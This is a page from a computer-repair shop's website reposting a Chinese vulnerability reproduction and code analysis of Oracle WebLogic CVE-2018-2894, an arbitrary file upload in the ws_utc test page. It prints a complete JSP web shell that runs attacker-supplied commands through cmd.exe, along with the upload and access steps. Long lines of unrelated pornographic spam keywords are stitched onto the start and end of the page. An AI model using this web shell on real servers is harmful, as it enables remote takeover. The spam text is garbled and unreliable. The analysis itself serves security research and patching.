国产精品久av福利在线观看_亚洲一区国产精品_亚洲黄色一区二区三区_欧美成人xxxx_国产精品www_xxxxx欧美_国产精品久久婷婷六月丁香_国产特级毛片

錦州市廣廈電腦維修|上門維修電腦|上門做系統|0416-3905144熱誠服務,錦州廣廈維修電腦,公司IT外包服務
topFlag1 設為首頁
topFlag3 收藏本站
 
maojin003 首 頁 公司介紹 服務項目 服務報價 維修流程 IT外包服務 服務器維護 技術文章 常見故障
錦州市廣廈電腦維修|上門維修電腦|上門做系統|0416-3905144熱誠服務技術文章
WebLogic任意文件上傳漏洞復現與分析 - CVE-2018-2894

作者: 佚名  日期:2018-07-20 19:56:16   來源: 本站整理

 CVE-2018-2894
漏洞影響版本:10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3
下載地址:http://download.oracle.com/otn/nt/middleware/12c/12213/fmw_12.2.1.3.0_wls_quick_Disk1_1of1.zip
 
漏洞復現
服務啟動后,訪問 http://localhost:7001/ws_utc/config.do

可以將當前的工作目錄為更改為其他目錄。以本地環境為例,可以部署到C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls\4mcj4y\war下
選擇右邊的安全欄目,添加JKS Keystores上傳文件。假設chybeta.jsp內容如下:
 page import="java.util.*,java.io.*,java.net.*"%>
 METHOD="POST" NAME="myform" ACTION="">
 TYPE="text" NAME="cmd">
 TYPE="submit" VALUE="Send">
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "\n
");
        Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); disr = dis.readLine(); }
        }
%>
抓包獲取到時間戳為1531987145013,則上傳到的位置即config\keystore\1531987145013_chybeta.jsp

訪問http://localhost:7001/ws_utc/config/keystore/1531987145013_chybeta.jsp

 
簡要漏洞分析
在ws-testpage-impl.jar!/com/oracle/webservices/testclient/setting/TestClientWorkDirManager.class:59:
public void changeWorkDir(String path) {
    String[] oldPaths = this.getRelatedPaths();
    if (this.testPageProvider.getWsImplType() == ImplType.JRF) {
        this.isWorkDirChangeable = false;
        this.isWorkDirWritable = isDirWritable(path);
        this.isWorkDirChangeable = true;
        this.setTestClientWorkDir(path);
    } else {
        this.persistWorkDir(path);
        this.init();
    }
    if (this.isWorkDirWritable) {
        String[] newPaths = this.getRelatedPaths();
        moveDirs(oldPaths, newPaths);
    } else {
        Logger.fine("[INFO] Newly specified TestClient Working Dir is readonly. Won't move the configuration stuff to new path.");
    }
}
此函數用于改變工作目錄,但其中并未做任何檢測。
在ws-testpage-impl.jar!/com/oracle/webservices/testclient/ws/res/SettingResource.class:181中:
@Path("/keystore")
    @POST
    @Produces({"application/xml", "application/json"})
    @Consumes({"multipart/form-data"})
    public Response editKeyStoreSettingByMultiPart(FormDataMultiPart formPartParams) {
        if (!RequestUtil.isRequstedByAdmin(this.request)) {
            return Response.status(Status.FORBIDDEN).build();
        } else {
            if (TestClientRT.isVerbose()) {
                Logger.fine("calling SettingResource.addKeyStoreSettingByMultiPart");
            }
            String currentTimeValue = "" + (new Date()).getTime();   KeyValuesMapString, String> formParams = RSDataHelper.getInstance().convertFormDataMultiPart(formPartParams, true, TestClientRT.getKeyStorePath(), currentTimeValue);
            ....
        }
    }
跟入ws-testpage-impl.jar!/com/oracle/webservices/testclient/core/ws/cdf/config/parameter/TestClientRT.class:31
public static String getKeyStorePath() {
        return getConfigDir() + File.separator + "keystore";
    }
得到要寫入的路徑storePath。
在ws-testpage-impl.jar!/com/oracle/webservices/testclient/ws/util/RSDataHelper.class:145:
public KeyValuesMapString, String> convertFormDataMultiPart(FormDataMultiPart formPartParams, boolean isExtactAttachment, String path, String fileNamePrefix) {
    ...
    if (attachName != null && attachName.trim().length() > 0) {
        if (attachName != null && attachName.trim().length() != 0) {
            attachName = this.refactorAttachName(attachName);
            if (fileNamePrefix == null) {
                fileNamePrefix = key;
            }
            String filename = (new File(storePath, fileNamePrefix + "_" + attachName)).getAbsolutePath();
            kvMap.addValue(key, filename);
            if (isExtactAttachment) {
                this.saveAttachedFile(filename, (InputStream)bodyPart.getValueAs(InputStream.class));
            }
        }
    } 
    ...
}
把上傳文件的內容傳到了storePath目錄里,文件名滿足fileNamePrefix + "_" + attachName。這過程沒有任何過濾和檢查:)…
條件:
需要知道部署應用的web目錄
ws_utc/config.do在開發模式下無需認證,在生產模式下需要認證。具體可見Oracle® Fusion Middleware Administering Web Services
 
Reference
http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html
https://mp.weixin.qq.com/s/y5JGmM-aNaHcs_6P9a-gRQ
 




熱門文章
  • 機械革命S1 PRO-02 開機不顯示 黑...
  • 聯想ThinkPad NM-C641上電掉電點不...
  • 三星一體激光打印機SCX-4521F維修...
  • 通過串口命令查看EMMC擦寫次數和判...
  • IIS 8 開啟 GZIP壓縮來減少網絡請求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對講門禁讀卡異常維修,讀卡芯...
  • 新款海信電視機始終停留在開機界面...
  • 常見打印機清零步驟
  • 安裝驅動時提示不包含數字簽名的解...
  • 共享打印機需要密碼的解決方法
  • 圖解Windows 7系統快速共享打印機的...
  • 錦州廣廈電腦上門維修

    報修電話:13840665804  QQ:174984393 (聯系人:毛先生)   
    E-Mail:174984393@qq.com
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號:遼ICP備2023002984號-1
    上門服務區域: 遼寧錦州市區
    主要業務: 修電腦,電腦修理,電腦維護,上門維修電腦,黑屏藍屏死機故障排除,無線上網設置,IT服務外包,局域網組建,ADSL共享上網,路由器設置,數據恢復,密碼破解,光盤刻錄制作等服務

    技術支持:微軟等
    av中文字幕免费| 十大黄色软件免费看| 国产日韩三级| 91国语精品自产拍在线观看性色| 一级黄色片日本| 日韩一区二区在线免费| 日韩av黄色在线观看| 麻豆传媒在线完整视频| 亚洲精品免费网站| 懂色av蜜臀av粉嫩av分享吧| 亚洲sss视频在线视频| 色大18成网站www在线观看| 成年人在线看片| 色哟哟在线观看一区二区三区| 嫩草嫩草嫩草| 国产精品日韩一区二区三区| 在线精品亚洲欧美日韩国产| 国产精品视频网站| 女人让男人操自己视频在线观看 | 一区二区三区免费高清视频| 黑人巨大精品| 欧美一级视频一区二区| 免费人成福利播放| 欧美午夜精品久久久久久久| 久久久久女人精品毛片九一| 精品99999| 牛牛影视精品影视| 亚洲最新av在线| 亚洲精品97久久久babes| 国产精品日韩高清| 成人美女视频在线观看| 在线免费91| 欧美污在线观看| 亚洲国产精品视频| sm在线播放| 91免费国产精品| 欧美在线三级| 亚洲图片另类小说| 欧美视频在线观看 亚洲欧| 国产中文字幕av| 成人av电影天堂| 91国内在线| 欧美日韩电影一区二区三区| 亚洲a成人v| 亚洲天堂精品一区| 欧美巨大黑人极品精男| 麻豆视频官网| 日韩一本精品| 久久在线精品| 五月婷婷激情在线| 久久久电影一区二区三区| 美女视频网站在线观看| 91色视频在线导航| 福利一区福利二区| 黄色网址在线免费| 久久久黄色大片| 欧美另类一区| 国产网站一区二区| 一区二区三区伦理| 亚洲自拍偷拍图| 欧美日韩另类字幕中文| www.先锋影音av| 青青在线免费视频| 国产精品女主播在线观看| 在线观看免费av网| 精品无码国产一区二区三区av| 日韩久久电影| 精品欧美一区二区久久久| 99精品1区2区| 极品美女一区二区三区视频 | 久久精品蜜桃| 欧美精品色婷婷五月综合| 亚洲婷婷综合久久一本伊一区| 4444免费观看| 日韩欧美国产片| 亚洲第一福利网| 红桃视频国产精品| 嫩草在线视频| 九九这里只精品视在线99| 欧美成人精品一区二区三区| 国产精品亚洲一区二区三区妖精 | 深夜福利网站在线观看| 在线观看免费亚洲| 粉嫩91精品久久久久久久99蜜桃 | 亚洲欧美日韩精品综合在线观看| 日韩中文在线电影| 国产成人精品a视频一区| 91精品国产全国免费观看| 电影中文字幕一区二区| 在线观看亚洲一区二区| 97中文在线观看| 高清av一区二区| yourporn在线观看中文站| 黄色一级视频在线观看| 精品欧美一区二区三区久久久| 欧美午夜在线一二页| 四虎国产精品免费观看| 九七影院97影院理论片免费| 中文字幕中文在线| 日韩av在线不卡| 成人高潮视频| 怡红院怡春院首页| 在线免费看v片| 欧美亚洲另类激情另类| 极品少妇xxxx精品少妇| 亚洲综合天堂网| 99re国产在线播放| 麻豆成人91精品二区三区| 国产麻豆高清视频在线第一页| 日韩高清av| 国产精品天美传媒| 国产一区二区高清在线| 特大巨黑人吊性xxxxn38| 久久久久久久人妻无码中文字幕爆| 日韩精品一区国产麻豆| 亚洲精品一二三区区别| 波多野结衣av在线播放| 国产成人a v| 男生操女生视频在线观看| 99久久精品免费看国产一区二区三区| 黄色成人av在线| 欧美三级电影在线| 神马久久久久久久久| 少妇愉情理伦片bd| 国产成人涩涩涩视频在线观看| 久久综合成人精品亚洲另类欧美| 成人在线爆射| 久久久久久久久久久久网站| 免费av一区二区三区| 亚洲免费在线电影| 91tv亚洲精品香蕉国产一区| 91片黄在线观看喷潮| 欧美主播一区二区三区美女 久久精品人 | 日韩欧美二区| 亚洲а∨精品天堂在线| 亚洲综合色一区| 五月婷婷综合色| 亚洲欧美另类在线观看| 国产精品色婷婷久久58| 亚洲国产精品一区| 色黄视频在线观看| 高清av资源| 久久久久久国产精品无码| 青草青草久热精品视频在线观看| 丁香婷婷综合激情五月色| 午夜视频一区二区在线观看| 在线观看精品视频看看播放| 免费观看成人www动漫视频| 黑人精品一区二区| 无码人妻丰满熟妇区96| 久久av资源网站| 精品精品欲导航| 欧美丝袜第三区| 成人av在线一区二区| 大型av综合网站| 国产激情视频在线| 国产毛片av| 国产精品无码在线播放| 一区二区高清视频| 欧美色精品在线视频| 国产精品区一区二区三区| 久久综合婷婷| 欧洲成人av| 国产欧美一区二区三区视频在线观看| av不卡在线免费观看| 国产视频一区在线| 久久99国产精品麻豆| 福利一区和二区| 2018av| 国产成人一区二区三区影院在线| 在线观看日本一区| 日韩精品久久久久久福利| 久久精品国语| 国产亚洲观看| 日本三级视频网站| 加勒比婷婷色综合久久| 国产精品日韩欧美一区二区三区| 亚洲美女偷拍久久| 国产一区2区| 在线日本视频| 日韩一本大道| 四虎国产精品成人免费入口| 一区不卡视频| 色综合伊人色综合网| 亚洲卡通欧美制服中文| 精品久久久久久久久久久aⅴ| 免费网站成人| av先锋影院| 亚洲GV成人无码久久精品 | 醉酒壮男gay强迫野外xx| 日本亚洲自拍| 国产精品久久久久久久久久久久久久 | 日韩欧美亚洲国产精品字幕久久久 | 欧美成人日本| 国内激情视频在线观看| 成全视频全集| 亚洲欧美日韩综合精品网| 真实乱视频国产免费观看| 国产精品一线二线三线| 青青在线视频一区二区三区|